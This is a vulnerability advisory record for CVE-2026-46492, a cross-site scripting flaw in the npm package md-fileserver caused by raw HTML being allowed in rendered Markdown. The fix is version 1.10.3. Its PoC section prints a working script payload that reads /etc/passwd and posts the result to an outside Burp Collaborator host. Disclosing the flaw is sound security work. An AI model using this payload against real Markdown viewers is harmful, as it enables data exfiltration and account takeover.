{"id":"CVE-2026-46492","aliases":["GHSA-32q2-hhr5-6qvv"],"url":"https://o3.security/vulnerability/CVE-2026-46492","summary":"md-fileserver: Stored/Reflected XSS when viewing Markdown (raw HTML allowed)","details":"### Summary\nA cross-site scripting (XSS) vulnerability exists in the application’s Markdown rendering logic. When user-supplied Markdown content is rendered, embedded raw HTML—including <script> tags—is processed and injected into the resulting page without sanitization, allowing arbitrary JavaScript execution in the context of the affected domain.\n\n### Details\nAn attacker can craft malicious Markdown content containing <script> tags or event handlers (e.g., <img onerror=...>). When this Markdown is viewed or previewed, the embedded JavaScript executes in the victim’s browser.\n\n### Vulnerable Components\nconfig.js → markdownIt: { html: true } (Lines 26–30)\nThe Markdown renderer is explicitly configured to allow raw HTML.\n\nlib/markd.js (Lines 33–58)\nRenders Markdown content without sanitizing HTML, allowing unsafe tags and attributes to remain in the output.\n\nlib/pages/template.html\nThe rendered Markdown is injected into the HTML template using <%= markdown %> without sanitization or output encoding.\n\n### PoC\nCreate a pwn.md \n```\n# Hello\n\n<script>\n  fetch('/etc/passwd', { credentials: 'include' })\n    .then(r => r.text())\n    .then(t => fetch('https://79evxsw3m08qfyvxluebgl0pyg47szgo.oastify.com/exfil', { method: 'POST', body: t }));\n</script>\n\n```\nOpen it on browser.\n<img width=\"944\" height=\"238\" alt=\"image\" src=\"https://github.com/user-attachments/assets/cd9e1396-9f4b-4a4b-bc2a-d7530c0c00ac\" />\nView the HTTP request in Burp Collaborator.\n<img width=\"1328\" height=\"468\" alt=\"image\" src=\"https://github.com/user-attachments/assets/9faa65ad-73ec-42d0-9ce3-ea78b15294d8\" />\n\n\n### Impact\nSuccessful exploitation allows an attacker to execute arbitrary JavaScript in the victim’s browser, leading to:\n- Session hijacking\n- Account takeover\n- Credential theft\n- Defacement or injection of malicious content\n- Exfiltration of sensitive data via API tokens, CSRF tokens, or user information\n\nThis affects all users who can view Markdown content within the application.","published":"2026-06-09T16:09:29.077Z","modified":"2026-08-14T04:03:51.702022725Z","cvss":{"score":7.2,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N"},"epss":{"score":0.00232,"percentile":0.13816,"asOf":"2026-08-24"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"npm","name":"md-fileserver","fixedVersion":"1.10.3"}],"fix":null,"references":[{"type":"WEB","url":"https://github.com/commenthol/md-fileserver/releases/tag/v1.10.3"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/46xxx/CVE-2026-46492.json"},{"type":"ADVISORY","url":"https://github.com/commenthol/md-fileserver/security/advisories/GHSA-32q2-hhr5-6qvv"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-46492"},{"type":"PACKAGE","url":"https://github.com/commenthol/md-fileserver"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-14T04:03:51.702022725Z"}}